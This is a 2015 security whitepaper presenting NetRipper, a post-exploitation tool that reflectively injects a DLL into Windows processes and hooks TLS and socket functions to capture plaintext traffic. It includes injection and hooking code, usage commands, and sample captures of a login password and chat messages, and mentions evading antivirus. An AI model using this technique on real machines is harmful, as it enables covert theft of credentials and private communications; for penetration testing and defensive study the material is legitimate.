NetRipper

Smart traffic sniffing for penetration testers

Ionut Popescu
KPMG
Bucharest, Romania
ionut.popescu@outlook.com

April 2015

Abstract — **The post-exploitation activities in a penetration test can be challenging if the tester has low-privileges on a fully patched, well configured Windows machine. This work presents a technique for helping the tester to find useful information by sniffing network traffic of the applications on the compromised machine, despite his low-privileged rights. Furthermore, the encrypted traffic is also captured before being sent to the encryption layer, thus all traffic (clear-text and encrypted) can be sniffed. The implementation of this technique is a tool called NetRipper which uses API hooking to do the actions mentioned above and which has been especially designed to be used in penetration tests.**

I. INTRODUCTION AND PROBLEM DESCRIPTION

The following situation occurs pretty often in an internal penetration test: the tester gains low privileged access to a Windows machine (workstation or server) where he is able to execute arbitrary code. However, he has difficulty in escalating his privileges or pivoting to other machines because no obvious vulnerabilities can be found on that machine.

The situation is frustrating as there are open network connections from the victim machine to other machines on the network, which may contain useful information for escalating privileges or for pivoting to other machines. However, the traffic cannot be easily intercepted because the lack of privileges. Furthermore, there may be also a user on that machine which is browsing the web or accessing internal services and his credentials would be useful for advancing the penetration test.

So the problem is how to intercept the network traffic while having low privileges on a Windows machine?

II. THE SOLUTION

We have developed NetRipper, which is a standalone application (and Metasploit module) that is able to capture network traffic sent and received by applications which are running on the victim machine under the same user as the one compromised by the attacker. NetRipper captures network data while it is handled by the target applications by hooking function calls such as:

- *PR_Read* and *PR_Write* from nss3.dll
- *PR_Send* and *PR_Recv* from nspr4.dll
- *SslEncryptPacket* and *SslDecryptPacket* from ncrypt.dll
- *send* and *recv* from ws2_32.dll
- *SSL_Send* and *SSL_Recv* from chrome.dll

By hooking these functions, NetRipper is able to capture clear-text and encrypted (SSL/TLS) traffic sent or received by the target application if the application uses these specific functions for the network activity.

III. IMPLEMENTATION DETAILS

A. Application overview

NetRipper has three components:

- *NetRipper.exe* – Is a standalone application responsible for configuring the DLL and for injecting it in various processes
- *DLL.dll* – Is a shared library which hooks specific functions used by the target applications (ex. *SslEncryptPacket*), captures the data sent/received and writes it into a local file
- *netripper.rb* – The Metasploit module used to inject the DLL into various processes

In order to use NetRipper, the penetration tester should take the following steps:

a. The penetration tester already has access to the server/workstation as an unprivileged user
b. He uses NetRipper.exe or the Metasploit module to inject *DLL.dll* into a certain process
c. DLL.dll captures data (SSL/TLS or clear-text) and writes it to an output file
d. The penetration tester retrieves the output file containing plain-text and unencrypted data

The configuration options available for NetRipper in the current version are:

- Process IDs – Specify one or more target process IDs (e.g. *1232*, *4444*)
- Process names – Specify one or more target process names (e.g. *firefox.exe*, *iexplore.exe*) or specify *ALL*, which enables the injection in all processes
- Captured data location – Where to save capture data (e.g. *C:\Windows\TEMP*) or specify the "*TEMP*" value to save data into user's temporary data folder
- Plugins – The name of the plugins used to filter captured data

NetRipper has also been implemented as a Metasploit post-exploitation module, which uses the *reflective DLL injection* technique to start the tool.

B. Reflective DLL injection technique

NetRipper searches for target processes and injects the DLL using the *Reflective DLL Injection* technique pioneered by Stephen Fewer of Harmony Security [1]. This technique allows one to easily inject a DLL from memory into a target process without touching the disk, thus avoiding antivirus detection.

The steps that NetRipper takes in order to inject the DLL reflectively are the following:

1. Open the remote process (*OpenProcess* API)
2. Allocate memory inside the remote process for the whole DLL file (*VirtualAllocEx* API)
3. Write the DLL.dll file into the remote process memory (*WriteProcessMemory* API)
4. Create a new thread that calls the *ReflectiveLoader* function (*CreateRemoteThread* API)
5. The *ReflectiveLoader* function correctly loads the DLL into memory

A sample piece of code (from *ReflectiveDLL* project [2]) that injects the DLL into the target process is shown below:

```
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
       break;

// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
       break;

// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
       break;

// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader    =    (LPTHREAD_START_ROUTINE)(    (ULONG_PTR)lpRemoteLibraryBuffer    +
dwReflectiveLoaderOffset );

// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter,
(DWORD)NULL, &dwThreadId );
```

C.API hooking technique

In order to sniff the network traffic sent and received by the target applications, we implemented an API hooking engine, using inline *call* hooks. This engine is implemented inside DLL.dll, which hooks specific functions by following the next steps:

1. Obtain a handle to the DLL containing the target function (for example *ncrypt.dll*)
2. Find the address of target function (for example *SslEncryptPacket*)
3. Save the first 5 bytes of the function code
4. Place a *call hook_address* instruction at the beginning of the function, replacing the first 5 bytes

The *Hook* function is the core hooking function and it is responsible for:

1. Restoring the original bytes of the hooked function (in order to call original function later)
2. Calling a specific callback function like *SslEncryptPacket_Callback* which handles the data received by the hooked function

The implementation of *SslEncryptPacket_Callback* function follows these steps:

1. Save unencrypted data before it is sent to the network
2. Call the original function *SslEnryptPacket* to send network traffic
3. Place the *call hook_address* again at the beginning of the target function to restore the hook

Example of code used for placing API hooks:

```
vector<MODULEENTRY32> vDlls = Process::GetProcessModules(0);

for(size_t i = 0; i < vDlls.size(); i++)
{
        // SslEncryptPacket, SslDecryptPacket

        if(Utils::ToLower(vDlls[i].szModule).compare("ncrypt.dll") == 0)
        {
                SslEncryptPacket_Original                                  =
(SslEncryptPacket_Typedef)GetProcAddress(LoadLibrary("ncrypt.dll"), "SslEncryptPacket");
                SslDecryptPacket_Original                                  =
(SslDecryptPacket_Typedef)GetProcAddress(LoadLibrary("ncrypt.dll"), "SslDecryptPacket");

                Hooker::AddHook("ncrypt.dll",    (void    *)SslEncryptPacket_Original,    (void
*)SslEncryptPacket_Callback);
                Hooker::AddHook("ncrypt.dll",    (void    *)SslDecryptPacket_Original,    (void
*)SslDecryptPacket_Callback);
        }

        // send, recv

        else if(Utils::ToLower(vDlls[i].szModule).compare("ws2_32.dll") == 0)
        {
                recv_Original    =    (recv_Typedef)GetProcAddress(LoadLibrary("ws2_32.dll"),
"recv");
                send_Original    =    (send_Typedef)GetProcAddress(LoadLibrary("ws2_32.dll"),
"send");

                Hooker::AddHook("ws2_32.dll", (void *)recv_Original, (void *)recv_Callback);
                Hooker::AddHook("ws2_32.dll", (void *)send_Original, (void *)send_Callback);
        }

        ...
}
```

A sample callback function used for handling data is shown below:

```
LONG   __stdcall  SslEncryptPacket_Callback(ULONG_PTR  hSslProvider,  ULONG_PTR  hKey,  PBYTE
*pbInput,  DWORD  cbInput,  PBYTE  pbOutput,  DWORD  cbOutput,  DWORD  *pcbResult,  ULONGLONG
SequenceNumber, DWORD dwContentType, DWORD dwFlags)
{
        LONG res;

        ...
        Utils::WriteToTempFile("SslEncryptPacket.txt", (char *)pbInput, cbInput);
        ...

        // Call original function

        res  =  SslEncryptPacket_Original(hSslProvider,  hKey,  pbInput,  cbInput,  pbOutput,
cbOutput, pcbResult, SequenceNumber, dwContentType, dwFlags);
        ...
        Hooker::RestoreHook((void *)SslEncryptPacket_Callback);

        return res;
}
```

The core *Hook* function that restores the original bytes and redirects the code flow to the callback function is the following:

```
// Our "naked" hook function

extern "C" __declspec(naked) void Hook()
{
    __asm
    {
        // Get hooked function address

        mov EAX, [ESP]                             // Get EIP_CALLING
        sub EAX, 5                                 // Sizeof call

        // Get and parse HookStruct

        push EAX                                   // Function parameter
        call Hooker::GetHookStructByOriginalAddress  // Call function
        add ESP, 4                                 // Clean stack (cdecl)

        push EAX                                   // Backup register

        // Get data from HookStruct

        mov EDX, [EAX + 4]                         // EDX == m_OriginalAddress
        add EAX, 8                                 // EAX == m_OriginalBytes

        // Restore bytes

        push REPLACE_BYTES                         // REPLACE_BYTES
        push EAX                                   // m_OriginalBytes
        push EDX                                   // m_OriginalAddress

        call DWORD PTR memcpy
        // __cdecl memcpy(m_OriginalAddress, m_OriginalBytes, REPLACE_BYTES)

        add  ESP, 0xC                              // Clean stack

        pop EAX                                    // Restore register
        push EAX                                   // Backup register

        // Flush instruction cache

        push REPLACE_BYTES                         // REPLACE_BYTES
        mov EDX, [EAX + 4]                         // EDX == m_OriginalAddress
        push EDX                                   // m_OriginalAddress
        push 0xFFFFFFFF                            // hProcess - current process (-1)

        call DWORD PTR [FlushInstructionCache]
        // FlushInstructionCache(-1, m_OriginalAddress, REPLACE_BYTES)

        pop EAX                                    // Restore register

        // Call callback function

        add ESP, 4                                 // "Remove" EIP_Calling from stack
        mov EDX, [EAX]                             // Get callback pointer
        jmp EDX                                    // Jump to callback function
    }
}
```

D.Implementation challenges

Because NetRipper captures both encrypted and unencrypted traffic, we had to avoid saving both unencrypted and encrypted data.

In order to capture only unencrypted traffic, a simple "function flow flag" is set. Before saving data to a file, each function check this flag. If it is not set, it means that the function must save captured data because it is the highest function in this flow. This is the case of *PR_Write* callback function which will also set the flag. When this function will call the original function, it will eventually call *send* function which will see the flag set and it will not save duplicate, useless, encrypted data. After the original *PR_Write* returns, the *PR_Write* callback function unsets the flag. The flag is thread-based.

IV. PROJECT STATUS AND FUTURE WORK

At this moment, NetRipper hooks the following functions:

- PR_Read/PR_Write from nss3.dll
- PR_Send/PR_Recv from nspr4.dll
- SslEncryptPacket/SslDecryptPacket from ncrypt.dll
- send/recv from ws2_32.dll
- SSL_Send/SSL_Recv from chrome.dll

It can capture the network traffic from any application that uses these APIs to send/receive data over the network.

We have successfully tested NetRipper for capturing network traffic of Microsoft Outlook, Microsoft Lync, Mozilla Firefox, Google Chrome, Internet Explorer, Yahoo! Messenger and other popular Windows applications.

There are multiple features that we plan to implement in NetRipper and some of its current functionality needs to be improved. Among the future work planned for this tool there is:

- Hooking x64 based applications
- Adding more API functions to the hooking list (e.g. *OpenSSL*)
- Dynamically monitoring new processes and automatically loading in new processes
- Saving captured traffic in PCAP format
- Transmitting the captured data through a TCP/UDP channel to a remote machine

V. SIMILAR TOOLS

We found two other applications capable of intercepting both plain-text and unencrypted network traffic: *HookMe* [3] and *EchoMirage* [4]. However, they both have a graphical interface and are not suitable to be used in a penetration test (e.g. from command line, via a remote shell, etc).

As a comparison, *NetRipper* was designed especially for penetration testers, works silently in background, it has a small footprint and a Metasploit post exploitation module.

VI. USAGE EXAMPLE

For a fast test, we start NetRipper.exe with the following parameters:

```
C:\Users\Ionut\Desktop\NetRipper\Debug>NetRipper.exe

Usage: NetRipper.exe "DLLpath.dll" "ProcessName"
E.g.   NetRipper.exe C:\Users\Ionut\DLL.dll firefox.exe

C:\Users\Ionut\Desktop\NetRipper\Debug>NetRipper.exe DLL.dll firefox.exe
Trying to inject DLL.dll in firefox.exe
Reflective injected in: 1608
```

The captured data is saved by default in TEMP (e.g. *C:\Users\*\AppData\Local\Temp\NetRipper*).

In our example, the output file named *1608_firefox.exe_PR_Write.txt* may contain the following:

```
…..lsd=AVqLKT9c&email=admin%40facebook.com&pass=thisismypassword&default_persistent=0&timez
one=-180&lgndim=eyJ3IjoxNjAwLC…..
```

The network traffic may also contain sensitive authentication cookies or access tokens.

A test with Microsoft Lync can be done as follows:

```
C:\Users\Ionut\Desktop\NetRipper\Debug>NetRipper.exe DLL.dll lync.exe
Trying to inject DLL.dll in lync.exe
Reflective injected in: 5568
```

We were able to capture conversation messages sent through Lync (in rich-text format):

```
<imReceived xmlns="http://schemas.microsoft.com/2008/10/sip/convItems" ts="2015-04-
14T14:15:08Z" from="sip:coworker@kpmg.com" displayName="Furtuna, Adrian"
firstMessage="true" type="text/rtf">
<messageInfo type="text/rtf" msgid="{ACB6223D-BD06-481A-9E83-EB5E4853ABB4}"
sequenceid="0">{\rtf1\fbidis\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fni
l\fcharset0 Segoe UI;}{\f1\fnil Segoe UI;}}
{\colortbl ;\red0\green0\blue0;}
{\*\generator Riched20 15.0.4567}{\*\mmathPr\mwrapIndent1440 }\viewkind4\uc1
\pard\cf1\embo\f0\fs20 THIS\embo0  \embo IS\embo0  \embo A\embo0  \embo SIMPLE\embo0  \embo
  \embo NETRIPPER\embo0  \embo LYNC\embo0  \embo TEST\embo0\f1\par
{\*\lyncflags&lt;rtf=1&gt;}}
</messageInfo>
</imReceived>
```

VII. CONCLUSIONS

In this paper we presented a technique for capturing network traffic of applications while having low privileges on a Windows machine. The implementation of this technique is NetRipper which can be used in penetration tests for this purpose.

However, the usage scenarios for NetRipper are not limited to penetration tests. It can also be used by legitimate users on their own computers to monitor and investigate network traffic made by various software applications. It helps to discover how applications communicate through the network and how they transmit sensitive information.

Furthermore, NetRipper can also be used for malware analysis and investigation.

VIII. AUTHOR BIO

Ionut Popescu - the author of NetRipper - works as a Senior Security Consultant (Penetration Tester) at KPMG Romania. He is passionate by ASM, reverse engineering, shellcode and exploit development and he has a MCTS Windows Internals certification.

Ionut spoke at various security conferences in Romania like: Defcamp, OWASP local meetings and others but also at Hacknet international conference, in Finland.

As a result of his recent research there are multiple papers like: PE File Format, DLL Injection and API Hooking (*docx*) [5] – a paper written in Romanian, Stack Based Buffer Overflow (*pdf*) [6] – a tutorial written in Romanian, Download & Load (DLL) [7] – a shellcode that downloads a DLL and loads it into memory, and others.

Ionut is also the main administrator of the biggest Romanian IT security community: rstforums.com and he writes technical articles on KPMG team's blog, securitycafe.ro, such as:

- Upgrade your DLL to Reflective DLL [8]
- Intercepting functions from statically linked libraries [9]
- How to intercept traffic from Java applications [10]

IX. REFERENCES

[1] Stephen Fewer, "Reflective DLL Injection"
https://github.com/stephenfewer/ReflectiveDLLInjection

[2] Stephen Fewer, "LoadLibraryR.c"
https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/inject/src/LoadLibraryR.c

[3] Manuel Fernandez, "HookMe" project
https://code.google.com/p/hookme/

[4] BindShell/WildCroftSecurity, "EchoMirage" project
http://www.wildcroftsecurity.com/echo-mirage

[5] Ionut Popescu, "PE File Format, DLL Injection and API Hooking"
https://rstforums.com/proiecte/Licenta.docx

[6] Ionut Popescu, "Stack Based Buffer Overflow"
http://www.exploit-db.com/docs/34304.pdf

[7] Ionut Popescu, "Download & Load (DLL) shellcode"
https://rstforums.com/forum/87849-rst-shellcode-download-load-dll.rst

[8] Ionut Popescu, "Upgrade your DLL to Reflective DLL"
http://securitycafe.ro/2015/02/26/upgrade-your-dll-to-reflective-dll/

[9] Ionut Popescu, "Intercepting functions from statically linked libraries"
http://securitycafe.ro/2015/01/28/intercepting-functions-from-statically-linked-libraries/

[10] Ionut Popescu, "How to intercept traffic from Java applications"
http://securitycafe.ro/2014/12/19/how-to-intercept-traffic-from-java-applications/